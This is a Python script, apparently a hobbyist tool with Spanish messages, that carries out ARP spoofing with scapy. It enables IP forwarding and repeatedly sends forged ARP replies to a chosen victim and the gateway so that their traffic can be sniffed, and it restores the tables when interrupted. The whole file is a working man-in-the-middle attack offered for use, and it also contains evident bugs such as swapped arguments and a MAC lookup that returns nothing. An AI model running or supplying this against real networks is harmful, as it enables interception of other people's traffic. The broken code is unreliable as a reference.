arpspoofing.py

#!/usr/bin/python3
import platform
import argparse
import os
import scapy.all as scapy
from scapy.all import srp,send,ARP
import time
def enable_ip_forwarding_mac():
        os.system("sysctl -w net.inet.ip.forwarding=1")
def enable_linux_route():

        path = '/proc/sys/net/ipv4/ip_forward'
        with open(path) as f:
                if f.read() == 1:
                        return
        with open(path, "w") as f:
                print(1, file=f)
                
def enable_windows_iprouter():
        from services import WService
        servicio = WService("RemoteAcess")
        servicio.start()
def control_de_forwarding(verbose=True):

                if verbose:
                        print ("[!] Habilitando Routing IP ")
                if platform.system() == "Windows":
                        enable_windows_iprouter()
                elif platform.system() == "Darwin":
                        enable_ip_forwarding_mac()
                else:
                        enable_linux_route()

                #enable_windows_iprouter() if "nt" in os.name 
                 #                               else enable_disable_linux_route()
                if verbose:
                        print ("Routing IP habilitado para su host")
  
def fallo():
    
        print ("La maquina victima no esta generando trafico")
        
        print ("Vuelve a ejecutar el programa")

def cmac(ip,iface):
        arp_request = scapy.ARP(pdst = ip)

        difusion = scapy.Ether(dst ="ff:ff:ff:ff:ff:ff")

        arprequestdifusion = difusion / arp_request

        lista_de_respuestas = scapy.srp(arprequestdifusion,iface, timeout=1,verbose=False)[0]

        
        for i in lista_de_respuestas:
                print(lista_de_respuestas[1].psrc, lista_de_respuestas[1].hwsrc)

def spoofeo(direccion_ip_obj, ip_spoofeada,iface):

        paquete = scapy.ARP(pdst = direccion_ip_obj, hwdst = cmac(iface,direccion_ip_obj), psrc = ip_spoofeada)

        scapy.send(paquete, verbose = False)
def restaurartablas(ip_destino, ip_origen,iface):

        mac_destino = cmac(iface,ip_destino)

        mac_origen = cmac(iface,ip_origen)

        paquete = scapy.ARP(pdst = ip_destino, hwdst = mac_destino, psrc = ip_origen, hwsrc = mac_destino)

        scapy.send(paquete, verbose = False)


#print ("Ejecuta el programa de la siguiente manera poniendo como primer argumento la ip victima y como segundo la ip de la puerta de enlace o gateway de su red: sudo python3 arpspoofing.py 192.168.0.10 192.168.1.1")
if __name__ == '__main__':
        print("EJECUTAR SCRIPT COMO ROOT SI NO DARA ERROR")
        parser = argparse.ArgumentParser(description="arpspoofing by luijait")
        parser.add_argument("ip_objetivo", help="Host Victima")
        parser.add_argument("gateway_ip", help="Gateway")
        parser.add_argument("iface", help="nombre de su interfaz de red" )
        parser.add_argument("-v", "--verbose", action="store_true", help="habilitar verbose")
        args = parser.parse_args()
        ip_objetivo, gateway_ip,iface, verbose = args.ip_objetivo, args.gateway_ip, args.iface ,args.verbose
        control_de_forwarding()
        try:  
                paquetes_enviados = 0

                while True:

                        spoofeo(ip_objetivo, gateway_ip,iface)

                        spoofeo(gateway_ip, ip_objetivo,iface)

                        paquetes_enviados = paquetes_enviados + 2

                        print("\r[!]Se esta arpeando el objetivo... ahora use su sniffer la cantidad de paquetes enviados son:" +str(paquetes_enviados)+ "", end="")

                        time.sleep(2)
          
                
            
        #except IndexError:
         #       fallo()
          #      print(IndexError)
        except KeyboardInterrupt:
                pass
                print("\n Ha parado el programa.... Resteando tablas ARP del objetivo")
                restaurartablas(gateway_ip, ip_objetivo,iface)
                restaurartablas(ip_objetivo, gateway_ip,iface)
                print("Ha salido del programa")